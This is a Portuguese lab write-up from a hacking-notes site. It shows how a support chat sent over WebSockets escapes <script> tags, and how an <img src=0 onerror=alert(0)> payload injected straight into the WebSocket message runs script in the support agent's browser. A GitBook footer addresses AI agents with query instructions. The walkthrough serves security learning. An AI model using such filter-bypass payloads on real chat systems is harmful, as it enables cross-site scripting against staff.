> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/websockets/websocket-message-manipulation.md).

# Manipulação de Mensagens WebSocket

### Manipulação de Mensagens WebSocket para Explorar Vulnerabilidades

Esta loja online tem um recurso de **chat** implementado usando **WebSockets**. / As mensagens enviadas pelo usuário são exibidas instantaneamente no navegador de um **agente de suporte**. / O objetivo do laboratório é **iniciar um `alert()`** popup no navegador do agente manipulando uma mensagem WebSocket.

Há um campo de chat disponível no aplicativo.

<figure><img src="/files/fe672d54d787c8aa8c150d9d881616626f521e8e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/98e5d67801f3b6291fd3250ba6583228bea1d492" alt=""><figcaption></figcaption></figure>

Ao inspecionar o tráfego, as mensagens são enviadas via WebSocket da seguinte forma:

```json
{
    "user":"Você",
    "content":"oi"
}
```

**Teste de filtragem**

Tente enviar a seguinte carga útil pelo chat:

```javascript
<script>alert(0)</script>
```

Resultado observado:/ O conteúdo é \*\* escapado no lado do servidor\*\* e interpretado como texto:

```javascript
&lt;script&gt;alert(0)&lt;/script&gt;
```

<figure><img src="/files/ac695d2e44b49e0fb62b1687d2821b0c0c299722" alt=""><figcaption></figcaption></figure>

Isso indica a presença de uma filtragem básica contra `<script>` tags.

**Contornando a filtragem**

Uma mensagem WebSocket contendo a seguinte carga útil é então enviada manualmente:

```http
<img src=0 onerror=alert(0)>
```

A mensagem é **encaminhada diretamente** pela solicitação WebSocket, sem passar pelos controles usuais da interface.

<figure><img src="/files/d9c95a206962f26416b881c71e525290eea0ca40" alt=""><figcaption></figcaption></figure>

Quando o agente de suporte recebe a mensagem, o navegador interpreta o `onerror` atributo, que aciona:

* a execução de `alert(0)`
* O aparecimento de uma **janela pop-up** no navegador do agente

<figure><img src="/files/0886d0d6daa69dbb586a87a2bda338224f5ebd6a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/websockets/websocket-message-manipulation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
